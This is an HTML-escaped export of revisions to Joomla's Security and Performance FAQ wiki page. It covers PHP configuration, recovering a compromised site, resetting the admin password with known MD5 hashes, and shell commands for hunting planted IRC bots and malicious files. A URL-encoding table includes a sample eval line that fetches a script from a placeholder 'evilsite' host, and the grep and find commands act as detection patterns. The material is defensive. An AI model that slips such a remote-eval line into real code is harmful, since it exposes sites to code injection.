&amp;lt;i&amp;gt;If you&#039;re using Apache 2.x, you do not have to insert the AddModule directive. It&#039;s no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now find the &amp;amp;quot;AddType&amp;amp;quot; section in the file, and add the following line after the last &amp;amp;quot;AddType&amp;amp;quot; statement:&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you need to support other file types, like &amp;amp;quot;.php3&amp;amp;quot; and &amp;amp;quot;.phtml&amp;amp;quot;, simply add them to the list, like this:&amp;lt;&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run a syntax check and if all is ok, restart Apache...&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as a CGI binary&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure PHP to run as a CGI, again you will need to configure the&lt;br /&gt;
httpd.conf, but confirm that the above settings are not also&lt;br /&gt;
configured, unless you now what you are doing you can generate yourself&lt;br /&gt;
&amp;amp;quot;HTTP 500&amp;amp;quot; errors. Search your Apache configuration file for the&lt;br /&gt;
&amp;amp;quot;ScriptAlias&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Add the following line below after the ScriptAlias for &amp;amp;quot;cgi-bin&amp;amp;quot;. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The location will depend on where PHP is installed on your system, you&lt;br /&gt;
should substitute the appropriate path in place of &amp;amp;quot;c:/php/&amp;amp;quot; (for&lt;br /&gt;
example, &amp;amp;quot;c:/Program Files/php/&amp;amp;quot;).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ScriptAlias /php/ &amp;amp;quot;c:/php/&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apache&lt;br /&gt;
again needs to be configured for the PHP MIME type. Search for the&lt;br /&gt;
&amp;amp;quot;AddType&amp;amp;quot; section, and add the following line after it:&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:&lt;br /&gt;
&lt;br /&gt;
AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the &amp;amp;quot;Action&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Action application/x-httpd-php &amp;amp;quot;/php/php.exe&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
If you notice, we have used the &amp;amp;quot;ScriptAlias&amp;amp;quot; reference, &amp;amp;quot;/php/&amp;amp;quot; portion&lt;br /&gt;
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. &amp;lt;i&amp;gt;In other words, don&#039;t put &amp;amp;quot;c:/php/php.exe&amp;amp;quot; or &amp;amp;quot;c:/Program Files/php/php.exe&amp;amp;quot; in that directive, put&lt;br /&gt;
&amp;amp;quot;/php/php.exe&amp;amp;quot;, Apache WILL work it out if correctly configured.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Configuring the Default Index Page&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.&lt;br /&gt;
&lt;br /&gt;
If you want to make your PHP script execute as the default page for a directory, you have to add another line to the &amp;amp;quot;httpd.conf&amp;amp;quot;. Simply search for the line in the file that begins with a &amp;amp;quot;DirectoryIndex&amp;amp;quot; and add &amp;amp;quot;index.php&amp;amp;quot; to the list of files on&lt;br /&gt;
that line. For example, if the line used to be:&lt;br /&gt;
&lt;br /&gt;
DirectoryIndex index.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;change it to&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DirectoryIndex index.html index.php&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you still wish .html files to be executed before .php files&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.php index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you wish .php files to be executed before .html files&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The next time you access the site or a directory within a site without a&lt;br /&gt;
filename, Apache will &amp;amp;quot;auto-magically&amp;amp;quot; deliver &amp;amp;quot;index.php&amp;amp;quot; if&lt;br /&gt;
available, or &amp;amp;quot;index.html&amp;amp;quot; if &amp;amp;quot;index.php&amp;amp;quot; is not available.&lt;br /&gt;
&lt;br /&gt;
== Why shouldn&#039;t I use PHP safe_mode? ==&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.&lt;br /&gt;
&lt;br /&gt;
The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.&lt;br /&gt;
&lt;br /&gt;
Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;From the official PHP site&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&amp;quot;The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren&#039;t very realistic, many people, especially ISP&#039;s, use safe mode for now.&amp;quot;&#039;&#039; &lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]&lt;br /&gt;
&lt;br /&gt;
= Development =&lt;br /&gt;
== How do I setup a secure demo site? ==&lt;br /&gt;
&lt;br /&gt;
In /includes/version.php look for:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 1;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 0;&lt;br /&gt;
&lt;br /&gt;
For a demo site it is advised to following:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 0;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 1;&lt;br /&gt;
&lt;br /&gt;
 $SITE = 0&lt;br /&gt;
 // Allows multiple user logins with only one account. By default Joomla! &lt;br /&gt;
 // allows only one active session per account as a security feature.&lt;br /&gt;
&lt;br /&gt;
 $RESTRICT = 1&lt;br /&gt;
 // Disables those logging in, both Front-end and Back-end from changing &lt;br /&gt;
 // user details - like password and username&lt;br /&gt;
&lt;br /&gt;
These settings are used on the official demo site http://demo.joomla.org&lt;br /&gt;
&lt;br /&gt;
You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.&lt;br /&gt;
&lt;br /&gt;
== How can I view a live site while developing, but hide it from others? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Login to the administrator section, and choose: Site &amp;gt; Global Configuration.&lt;br /&gt;
&lt;br /&gt;
2. The first option you&#039;ll see is is to set the site offline. Choose &amp;quot;Yes&amp;quot; and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;This site is down for maintenance. Please check back again soon. message instead.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
3. While you are logged into the &amp;quot;back end&amp;quot; administrator system, you can still view the &amp;quot;front end,&amp;quot; by choosing Site &amp;gt; Template &amp;gt; Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.&lt;br /&gt;
&lt;br /&gt;
= Site Recovery =&lt;br /&gt;
&lt;br /&gt;
== Help! My site&#039;s been compromised. Now what? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Change all relevant passwords:&#039;&#039;&#039; Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.&lt;br /&gt;
# &#039;&#039;&#039;Check raw logs:&#039;&#039;&#039; Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.&lt;br /&gt;
# &#039;&#039;&#039;List recently modified files:&#039;&#039;&#039; Before making any changes to your site, generate a list of recently modified files. Here&#039;s a php script that will list the files for you. Remove this script as soon as you have your list and don&#039;t publish a link to it!&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious newly-created files:&#039;&#039;&#039; Use this list to identify new files that don&#039;t belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious recently-modified files:&#039;&#039;&#039; Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Check for bogus CRON Jobs:&#039;&#039;&#039; Hacked cron jobs can be setup to reinfect your site over and over again.&lt;br /&gt;
# &#039;&#039;&#039;Coordinate with your host:&#039;&#039;&#039; If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.&lt;br /&gt;
# &#039;&#039;&#039;Delete the entire public_html directory:&#039;&#039;&#039; This is the best way to guarantee that every potential vulnerability in that site is removed.&lt;br /&gt;
# &#039;&#039;&#039;Delete related database records:&#039;&#039;&#039; This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.&lt;br /&gt;
# &#039;&#039;&#039;Reinstall everything:&#039;&#039;&#039; Use pre-crack backups. If you don&#039;t have good backups, go on to step 10.&lt;br /&gt;
# &#039;&#039;&#039;Reset critical passwords again:&#039;&#039;&#039; You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.&lt;br /&gt;
# &#039;&#039;&#039;Rebuild site:&#039;&#039;&#039; If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions&lt;br /&gt;
# &#039;&#039;&#039;Review security processes:&#039;&#039;&#039; Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.&lt;br /&gt;
# &#039;&#039;&#039;Review backup processes:&#039;&#039;&#039; If you don&#039;t already have one, add a dependable backup process to your site administration practices.&lt;br /&gt;
# &#039;&#039;&#039;Stay watchful:&#039;&#039;&#039; Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.&lt;br /&gt;
&lt;br /&gt;
==How do I reset an administrator password?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; This method is for Joomla versions up to and including 1.0.12. For later versions of Joomla and Joomla 1.5.xx versions please use this &#039;&#039;&#039;([[How_do_you_recover_your_admin_password%3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x&#039;&#039;&#039;&lt;br /&gt;
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .&lt;br /&gt;
&lt;br /&gt;
2. Open the correct database and select the table, jos_users . (Change default table prefix, &#039;jos_&#039; to your table prefix if it is different.)&lt;br /&gt;
&lt;br /&gt;
3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)&lt;br /&gt;
&lt;br /&gt;
4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.&lt;br /&gt;
&#039;&#039;&#039;Warning:&#039;&#039;&#039; You must paste the password&#039;s hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.&lt;br /&gt;
&lt;br /&gt;
 password = &amp;quot;MD5 hash of password&amp;quot;&lt;br /&gt;
 ------------------------------------------------------&lt;br /&gt;
 admin = 21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
 secret = 5ebe2294ecd0e0f08eab7690d2a6ee69&lt;br /&gt;
 OU812 = 7441de5382cf4fecbaa9a8c538e76783&lt;br /&gt;
&lt;br /&gt;
5. Save the user record.&lt;br /&gt;
&lt;br /&gt;
6. Point a browser to your site and log in using the Super Administrator account you just modified.&lt;br /&gt;
&lt;br /&gt;
7. &#039;&#039;&#039;IMPORTANT:&#039;&#039;&#039; Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will &#039;salt&#039; your new password, thus adding an additional level of security on top of the MD5 hash.&lt;br /&gt;
&lt;br /&gt;
Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating your own MD5 hash from a password of your choice&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you&#039;ve generated a hash with these tools.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Online MD5 hash creation tools&#039;&#039;&#039;&lt;br /&gt;
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/&lt;br /&gt;
* MD5er - http://www.md5er.com/&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Free MD5 utilities for download&#039;&#039;&#039;&lt;br /&gt;
* MD5 &amp;amp; Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp&lt;br /&gt;
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other MD5 tools&#039;&#039;&#039;&lt;br /&gt;
* There are many free online and downloadable MD5 utilities. Google &amp;quot;MD5 hash tool&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== How do I find exploits using the *NIX shell? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check the active processes&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;quot;ps&amp;quot; command to look for odd or unknown processes, if you aren&#039;t sure what to look for there, user &amp;quot;netstat -ae | grep irc&amp;quot; and/or &amp;quot;netstat -ea | grep 666&amp;quot; and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name &amp;quot;irc&amp;quot; listed against them, or may have &amp;quot;httpd&amp;quot; or sometimes other regular services names.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check crontab&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check for hidden files or directories&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check for hidden files or directories you dont expect to see, those starting with &amp;quot;.&amp;quot; (dots) and also look for &amp;quot;. &amp;quot; (dot, space) often favored to try and catch searches for hidden directories.&lt;br /&gt;
&lt;br /&gt;
Other examples of searches that may help pin down exploits and/or unexpected files and folders:&lt;br /&gt;
&lt;br /&gt;
 find /home -type f | xargs grep -l MultiViews&lt;br /&gt;
 find . -type f | xargs grep -l base64_encode &amp;lt;&amp;lt;&amp;lt; this can produce false positives, it is valid in many mail/graphics scripts&lt;br /&gt;
 find . -type f | xargs grep -l error_reporting&lt;br /&gt;
 find / -name &amp;quot;[Bb]itch[xX]&amp;quot;&lt;br /&gt;
 find / -name &amp;quot;psy*&amp;quot;&lt;br /&gt;
 ls -lR | grep rwxrwxrwx &amp;gt; listing.txt&lt;br /&gt;
&lt;br /&gt;
== What are these strange (URL-Encoded) characters doing in my code? ==&lt;br /&gt;
&lt;br /&gt;
Overview&lt;br /&gt;
&lt;br /&gt;
Attackers sometimes hide code away from prying eyes by URL Encoding it.&lt;br /&gt;
&lt;br /&gt;
The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.&lt;br /&gt;
&lt;br /&gt;
However, if you find odd, URL-encoded text in your site&#039;s files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.&lt;br /&gt;
&lt;br /&gt;
Here are some trivial, non-functioning examples of URL Encoded text:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Original&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;URL Encoded&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;this line has spaces&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;this%20line%20has%20spaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;eval(evil_script(http://www.evilsite/?evilscript.pl&amp;quot;));&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;%65val%28%65%76il_%73cri%70t&lt;br /&gt;
%28%68tt%70%3A//%77%77%77.&lt;br /&gt;
%65%76il%73ite/%3F%65%76il%73&lt;br /&gt;
cript.%70l%22%29%29%3B&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]&lt;br /&gt;
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security]]&lt;br /&gt;
[[Category:FAQ]]&lt;br /&gt;
[[Category:Security_FAQ]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=62360</id>
		<title>Security and Performance FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=62360"/>
		<updated>2011-09-26T22:31:09Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: class=&amp;quot;wikitable&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
= Getting Started =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Is GNU and Open Source software worth the costs and risks?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling: &lt;br /&gt;
&lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
! &#039;&#039;&#039;Applications&#039;&#039;&#039; !! &#039;&#039;&#039;Industry Leader&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| GNU/Linux&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Apache Web Server&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| MySQL Relational Database&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| PHP Scripting Language&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Content Management System&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Joomla Extensions&lt;br /&gt;
| Varies&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! &#039;&#039;&#039;Support&#039;&#039;&#039; !! &#039;&#039;&#039;Relative Quality&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Project Leadership Team&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Forge&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Online Forums&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Documentation&lt;br /&gt;
| Medium&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Online Volunteers&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Paid Professional Support&lt;br /&gt;
| Widely Available&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Total&#039;&#039;&#039; !! &amp;amp;nbsp; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;0&#039;&#039;&#039;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==What is the Joomla! Administrator&#039;s Security Checklist?==&lt;br /&gt;
&lt;br /&gt;
The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.&lt;br /&gt;
&lt;br /&gt;
==What are the top 10 stupidest Joomla! security tricks?==&lt;br /&gt;
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].&lt;br /&gt;
&lt;br /&gt;
==How do I choose a quality hosting provider?==&lt;br /&gt;
&lt;br /&gt;
The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Choose *NIX:&#039;&#039;&#039; Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options. &lt;br /&gt;
* &#039;&#039;&#039;Use Secure FTP:&#039;&#039;&#039; Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Set PHP register_globals OFF:&#039;&#039;&#039; The most security conscious hosts turn PHP&#039;s Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don&#039;t get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stay up-to-date:&#039;&#039;&#039; Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Avoid cheap shared servers:&#039;&#039;&#039; Be sure users on your shared server can&#039;t view each others files and databases, for example through shell accounts and cpanels.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Proactive server management:&#039;&#039;&#039; Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they&#039;ve responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Require raw log access:&#039;&#039;&#039; Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performance matters:&#039;&#039;&#039; Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Data center:&#039;&#039;&#039; Choose a host that manages it&#039;s own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Know your neighbors:&#039;&#039;&#039; Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Consider recommendations:&#039;&#039;&#039; Check this [http://forum.joomla.org/index.php/topic,6856.0.html list of recommended hosts].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Grow with your site:&#039;&#039;&#039; As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) &#039;&#039;&#039;dedicated servers&#039;&#039;&#039; offer the best possible security and performance, but at the highest expense, 2) &#039;&#039;&#039;virtual servers&#039;&#039;&#039; offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.&lt;br /&gt;
&lt;br /&gt;
==What are the best practices for site backups?==&lt;br /&gt;
